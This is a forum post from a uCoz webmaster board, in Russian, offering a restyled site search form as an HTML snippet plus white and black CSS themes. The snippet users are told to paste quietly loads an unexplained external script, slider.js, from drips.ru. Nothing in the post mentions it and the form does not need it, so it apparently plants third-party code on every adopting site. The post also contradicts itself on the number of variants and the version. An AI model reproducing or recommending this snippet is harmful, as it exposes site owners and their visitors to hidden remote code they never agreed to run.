Запам'ятати Забули пароль
Реєстрація
На головну

Сторінка 1 з 11
Форум » Все для uCoz » Скрипти для uCoz » Два цветовых вариантов формы поиска (DMsearch v.1.0) (предлагаю вам заменить стандартную форму поиска uCoz)
Два цветовых вариантов формы поиска (DMsearch v.1.0)
BotsManДата: Понеділок, 19.03.2012, 17:12 | Повідомлення # 1
Група: Користувачі
Ранг:
Лейтенант
Повідомлень: 43
Нагороди: 0
Репутація: 0 Стать: Чоловік
В этой статье я предлагаю вам заменить стандартную форму поиска uCoz, на более привлекательную и правильную с точки зрения юзабилити форму поиска DMsearch v.0.1, которая версталась под DOCTYPE 1.1

Шаг 1 установка кода:

Для начало, нам следует удалить старый код формы поиска uCoz

Code
$SEARCH_FORM$


и за место него установить следующий html код:

HTML-Code

Code
<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" > <script src="http://drips.ru/slider.js" type="text/javascript"></script><input class="poick_pole"type="text" name="q" maxlength="30" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/><input class="poick_knopka" type="submit" value="Найти" /><input type="hidden" name="t" value="0" /> </form>


теперь нам осталось выбрать нужный css стиль нашей формы поиска, я решил создать пять вариантов стилизации данной формы поиска, чтобы каждый пользователь мог выбрать ту или иную форму поиска под свою цветовую гамму сайта.

Вариант № 1 White (Белый):

Скрин: http://s005.radikal.ru/i212/1202/0b/5da86c24c3f4.png

Code
/* Форма поиска
------------------------------------------*/
.poick_os {   
   float:right;
}   

.poick_os input {
   vertical-align:middle;
}

.poick_pole {
   font:11px Verdana,Arial,Helvetica,sans-serif;
   color:#555; text-shadow: 1px 1px 1px #fff;
   height:16px;
   margin:0;
   padding:4px;
   background:#f6f6f6;
   border: 1px solid #d6d6d6;
   border-right: none;
}
     
.poick_pole:focus {
   background:#fff;
}   
     
.poick_knopka {
   font:11px Verdana,Arial,Helvetica,sans-serif;
   color:#555; text-shadow: 1px 1px 1px #fff;
   height:26px;
   margin:0;
   padding:0 7px;
   background:#e9e9e9;
   border:1px solid #d6d6d6;
}
     
.poick_knopka:hover{
   background:#d6d6d6;
   }


Вариант № 2 Black (Чёрный):

Скрин: http://s54.radikal.ru/i143/1202/0e/017a51775936.png

Code
/* Форма поиска
------------------------------------------*/
.poick_os {   
   float:right;
}   

.poick_os input {
   vertical-align:middle;
}

.poick_pole {
   font:11px Verdana,Arial,Helvetica,sans-serif;
   color:#a7a7a7; text-shadow: 1px 1px 1px #252525;
   height:16px;
   margin:0;
   padding:4px;
   background:#484848;
   border: 1px solid #252525;
   border-right: none;
}
     
.poick_pole:focus {
   background:#545454;
}   
     
.poick_knopka {
   font:11px Verdana,Arial,Helvetica,sans-serif;
   color:#a7a7a7; text-shadow: 1px 1px 1px #252525;
   height:26px;
   margin:0;
   padding:0 7px;
   background:#545454;
   border:1px solid #252525;
}
     
.poick_knopka:hover {
   background:#252525;
   }


на этом всё, удачных вам поисков на вашем сайте...


Алексей
off
Форум » Все для uCoz » Скрипти для uCoz » Два цветовых вариантов формы поиска (DMsearch v.1.0) (предлагаю вам заменить стандартную форму поиска uCoz)
Сторінка 1 з 11
Пошук:
РЕКЛАМА
Статистика Форуму
Останні теми Популярні теми Кращі користувачі Нові користувачі
Переклад сервісу STEAM (7)
А Вам слабо долічити до 2009 ??? :)) (929)
Вчимося стрибати різні стрибки в КС (76)
Який привайдер ви обираєте або на вашу думку найкращий?? (13)
FAQ/Гайд по раскрутке Сервера CS 1.6 (0)
Сервера cs 1.6 (0)
Шукаю людей для спілкування (0)
Стім акаунти продаю дешево (0)
Продам шаблон для скачки CS (0)
Як поміняти зброю з лівої руки на праву? (17)
Продаю стім акаунти ( дешево ) ! (61)
А Вам слабо долічити до 2009 ??? :)) (929)
Готовий і настроєний сервер v.1.0 УКРАЇНСЬКОЮ by sapersat (150)
Відгадай гру по скріну! (150)
Міста (98)
IP ваших серверів (95)
Гра "Три букви" - Розшивруй букви (88)
Роздача 7-8 знаків від WriterMix (82)
Сервер видно в пошуку + підтримка steam (80)
Готовий і настроєний сервер CS 1.6 v2.0 UA by sapersat (77)
Вчимося стрибати різні стрибки в КС (76)
Як відкрити порт в модемі D-Link DSL-2500U/BRU/D (61)
sapersat Постів [ 988 ]
BOGDANCS Постів [ 240 ]
prukolprukol6 Постів [ 214 ]
CJ Постів [ 186 ]
CH@iIIeP16 Постів [ 166 ]
tarzan Постів [ 164 ]
nazik100 Постів [ 143 ]
Redmix360 Постів [ 137 ]
Menisk Постів [ 120 ]
WriterMix Постів [ 118 ]
maroder Постів [ 104 ]
TorreS Постів [ 102 ]
tracer Постів [ 100 ]
Carbon Постів [ 96 ]
golfimbul Постів [ 86 ]
Ромакс(21:59)
Rydi(12:29)
vnp1sheva(10:36)
spaulet(01:41)
biobi(22:32)
trep(22:07)
vadik111(16:36)
saturn(14:12)
Mavavto(18:33)
vaxa(16:24)
1ivan1(23:42)
iStark(22:17)
kip(18:31)
Nalpenko1(02:12)
kasper01(17:18)

Нових сьогодні: 0

РЕКЛАМА